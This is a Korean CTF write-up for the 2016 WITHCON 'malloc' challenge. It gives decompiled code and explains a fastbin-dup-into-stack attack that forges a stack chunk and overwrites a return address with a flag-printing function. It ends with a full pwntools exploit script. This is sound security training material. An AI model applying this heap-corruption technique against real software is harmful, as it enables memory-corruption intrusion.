2016 WITHCON malloc

heap exploit문제다. 메인에서 스택주소라면서 main함수의 rbp-8 위치의 주소를 출력해줍니다.

메뉴는 총 5개로 malloc, free, list, modify, exit 이 있다. 청크는 최대 5개 까지 만들 수 있다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax
  __int64 v4[5]; // [rsp+0h] [rbp-30h]
  __int64 i; // [rsp+28h] [rbp-8h]

  setvbuf(stdout, 0LL, 2, 0LL);
  signal(13, 1);
  for ( i = 0LL; i <= 4; ++i )
    v4[i] = 0LL;
  printf("Stack Address : %p\n", &i);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%ld", &i);
    result = i;
    switch ( i )
    {
      case 1LL:
        sub_4009E6(v4);                         // malloc
        break;
      case 2LL:
        sub_400BFD(v4);                         // free
        break;
      case 3LL:
        sub_400DFF(v4);                         // list
        break;
      case 4LL:
        sub_400CA1(v4);                         // modify
        break;
      case 5LL:
        return result;
      default:
        puts("There is no such choice.");
        break;
    }
  }
}

malloc해주는 함수인데 size와 data를 입력할 수 있는데 size가 32이상이면 그냥 malloc(32) 해준다.

int __fastcall sub_4009E6(__int64 a1)
{
  unsigned int v1; // ecx
  size_t v3; // rax
  __int16 buf; // [rsp+10h] [rbp-40h]
  __int16 v5; // [rsp+12h] [rbp-3Eh]
  int v6; // [rsp+14h] [rbp-3Ch]
  __int64 v7; // [rsp+18h] [rbp-38h]
  size_t size; // [rsp+38h] [rbp-18h]
  __int64 i; // [rsp+40h] [rbp-10h]
  void *v10; // [rsp+48h] [rbp-8h]

  size = 0LL;
  v10 = 0LL;
  i = 0LL;
  buf = 0;
  v5 = 0;
  v6 = 0;
  v1 = 0;
  do
  {
    *(&v7 + v1) = 0LL;
    v1 += 8;
  }
  while ( v1 < 24 );
  *(&v7 + v1) = 0;
  if ( *(a1 + 32) )
    return puts("There is no space to malloc.");
  printf("Enter size :");
  __isoc99_scanf("%ld", &size);
  fflush(stdin);
  if ( size <= 32 )
  {
    if ( size <= 0 || size > 32 )
    {
      puts("Size incorrect.");
      exit(-1);
    }
    v10 = malloc(size);
  }
  else
  {
    puts("It's too big!");
    v10 = malloc(32uLL);
  }
  for ( i = 0LL; i <= 4 && *(8 * i + a1) != v10; ++i )
  {
    if ( !*(8 * i + a1) )
    {
      *(a1 + 8 * i) = v10;
      break;
    }
  }
  printf("Enter data : ", &size);
  if ( read(0, &buf, 33uLL) == -1 )
  {
    puts("Read fail.");
    exit(-1);
  }
  v3 = strlen(&buf);
  memcpy(*(8 * i + a1), &buf, v3 - 1);
  fflush(stdin);
  return puts("Malloc complete.");
}

이 함수는 chunk를 free해준다.

int __fastcall sub_400BFD(__int64 a1)
{
  __int64 v2; // [rsp+18h] [rbp-8h]

  printf("Which one do you want to free : ");
  __isoc99_scanf("%ld", &v2);
  _IO_getc(stdin);
  if ( v2 > 5 || v2 <= 0 || !*(8 * v2 - 8 + a1) )
    return puts("There is no chunk.");
  free(*(8 * v2 - 8 + a1));
  return puts("Chunk free complete.");
}

청크에 써있는 data들을 보여준다.

int __fastcall sub_400DFF(__int64 a1)
{
  int result; // eax
  signed __int64 i; // [rsp+18h] [rbp-8h]

  for ( i = 0LL; i <= 4; ++i )
    result = printf("Chunk %ld : %s\n", i + 1, *(8 * i + a1));
  return result;
}

modify함수다. 청크의 값을 수정할 수 있다.

int __fastcall sub_400CA1(__int64 a1)
{
  unsigned int v1; // ecx
  size_t v3; // rax
  __int16 buf; // [rsp+10h] [rbp-30h]
  __int16 v5; // [rsp+12h] [rbp-2Eh]
  int v6; // [rsp+14h] [rbp-2Ch]
  __int64 v7; // [rsp+18h] [rbp-28h]
  __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = 0LL;
  buf = 0;
  v5 = 0;
  v6 = 0;
  v1 = 0;
  do
  {
    *(&v7 + v1) = 0LL;
    v1 += 8;
  }
  while ( v1 < 24 );
  *(&v7 + v1) = 0;
  printf("Which chunk do you want to modify : ");
  __isoc99_scanf("%ld", &v8);
  _IO_getc(stdin);
  if ( v8 > 5 || v8 <= 0 || !*(8 * v8 - 8 + a1) )
    return puts("There is no chunk.");
  printf("Enter data : ", &v8);
  if ( read(0, &buf, 33uLL) == -1 )
  {
    puts("Read fail.");
    exit(-1);
  }
  v3 = strlen(&buf);
  memcpy(*(8 * v8 - 8 + a1), &buf, v3);
  fflush(stdin);
  return puts("Data modify complete.");
}

플래그를 출력해주는 함수도 있는데 여기로 리턴 뛰면 될거 같다.

void __noreturn sub_400986()
{
  system("/bin/cat /home/easy_malloc/flag");
  exit(-1);
}

처음에 스택주소도 주겠다.. malloc 포인터를 스택영역으로 조작해서 풀면 될거다. how2heap에서 나오는 fastbin dup into stack을 이용하면 된다.

이게 Fake Chunk로 쓸만한 주소를 malloc함수에서 찾을 수 있는데 스택의 rbp를 아니까 변수의 위치도 다 알 수 있다. malloc함수에서 size를 입력받아서 입력받은 만큼 할당해주는데 이 size범위가 32가 넘으면 그냥 malloc(32)해준다. 근데 여기서 size 변수 값은 그대로니까 이걸 fake chunk로 이용할 수 있었다. 그리고 뒤에는 main으로 돌아가는 return address도 존재했다.

size위치는 rbp-0x18인데 rbp-0x20에 넣는 이유는 prev_size때문에 size 위치 맞추려고 그런거다. 이제 24바이트 이후에 리턴을 cat flag 해주는 주소로 넣으면 된다.

rbp-0x20 prev_size 
rbp-0x18 size
data(24)
rbp+8 ret

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./malloc')
p = process('./malloc')
shell = 0x400986 # system("/bin/cat /home/easy_malloc/flag");
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)

def malloc(size,data):
	sla('>','1')
	sla(':',str(size))
	sa(':',data)

def free(idx):
	sla('>','2')
	sla(':',str(idx))

def list():
	sla('>','3')

def modify(idx,data):
	sla('>','4')
	sla(':',str(idx))
	sa(':',data)

p.recvuntil(': ')
stack = int(p.recvline().strip(),16) # main rbp-8
log.info('stack : {}'.format(hex(stack)))
main_rbp = stack + 8
log.info('main_rbp : {}'.format(hex(main_rbp))) # main rbp
malloc_rbp = main_rbp - 0x40
log.info('malloc_rbp : {}'.format(hex(malloc_rbp))) # malloc rbp

malloc(32,'A'*8)
free(1)
modify(1,p64(malloc_rbp-0x20)) # fake chunk -> size_t size
malloc(32,'B'*8) # fd = malloc_rbp-0x20
malloc(0x30,'C'*24+p64(shell)) # return shell
#malloc(0x30,'C'*0x18+p64(shell))

p.interactive()